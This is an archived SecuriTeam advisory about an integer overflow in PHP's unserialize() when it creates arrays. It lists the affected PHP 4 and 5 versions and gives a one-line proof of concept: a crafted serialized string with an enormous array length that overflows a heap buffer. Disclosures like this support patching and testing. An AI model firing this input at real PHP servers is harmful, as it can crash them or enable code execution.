[EXPL] PHP unserialize() Array Creation Integer Overflow (PoC)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



PHP unserialize() Array Creation Integer Overflow (PoC)
------------------------------------------------------------------------


SUMMARY

As we previously reported in
<http://www.securiteam.com/unixfocus/6W00C00H5Y.html> PHP unserialize()
Array Creation Integer Overflow, a vulnerability in PHP allows attackers
to cause the program to overflow an internal heap buffer potentially
allowing the attacker to cause the product to execute arbitarry code. The
following proof of concept allows you to test your system for the
mentioned PHP unserialize() vulnerability.

DETAILS

Vulnerable Systems:
* PHP 5 version 5.1.6 and prior
* PHP 4 version prior to 4.3.0

Immune Systems:
* PHP 4 version 4.3.0 and newer

<?

print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>


ADDITIONAL INFORMATION

The information has been provided by <mailto:slythers@xxxxxxxxx> Slythers
Bro.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] cPanel mod_phpsuexec Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The options used by cPanel ... user owning a web accessible PHP file. ... vulnerability and it has been repaired. ...
    (Securiteam)
  • [UNIX] PHP4 phpinfo() XSS Vulnerability (Reintroduced)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The phpinfo() function "gives detailed information about the current ... environment of PHP. ... variables when it displays them which leads to an XSS vulnerability. ...
    (Securiteam)
  • [UNIX] PHProjekt (Remote) Include Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PHProjekt Include Vulnerabilities ... vulnerability had been introduced. ... execute arbitrary PHP code. ...
    (Securiteam)
  • [UNIX] Multiple Vulnerabilities within PHP 4/5 (pack, unpack, safe_mode_exec_dir, safe_mode, realpat
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PHP is "a widely-used general-purpose scripting language that is ... several vulnerabilities within PHP were ... unserialize() - Wrong Handling of Negative References ...
    (Securiteam)
  • [UNIX] Dotdeb PHP Email Header Injection Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Dotdeb PHP Email Header Injection Vulnerability ... This patch adds an X-PHP-Script header to ...
    (Securiteam)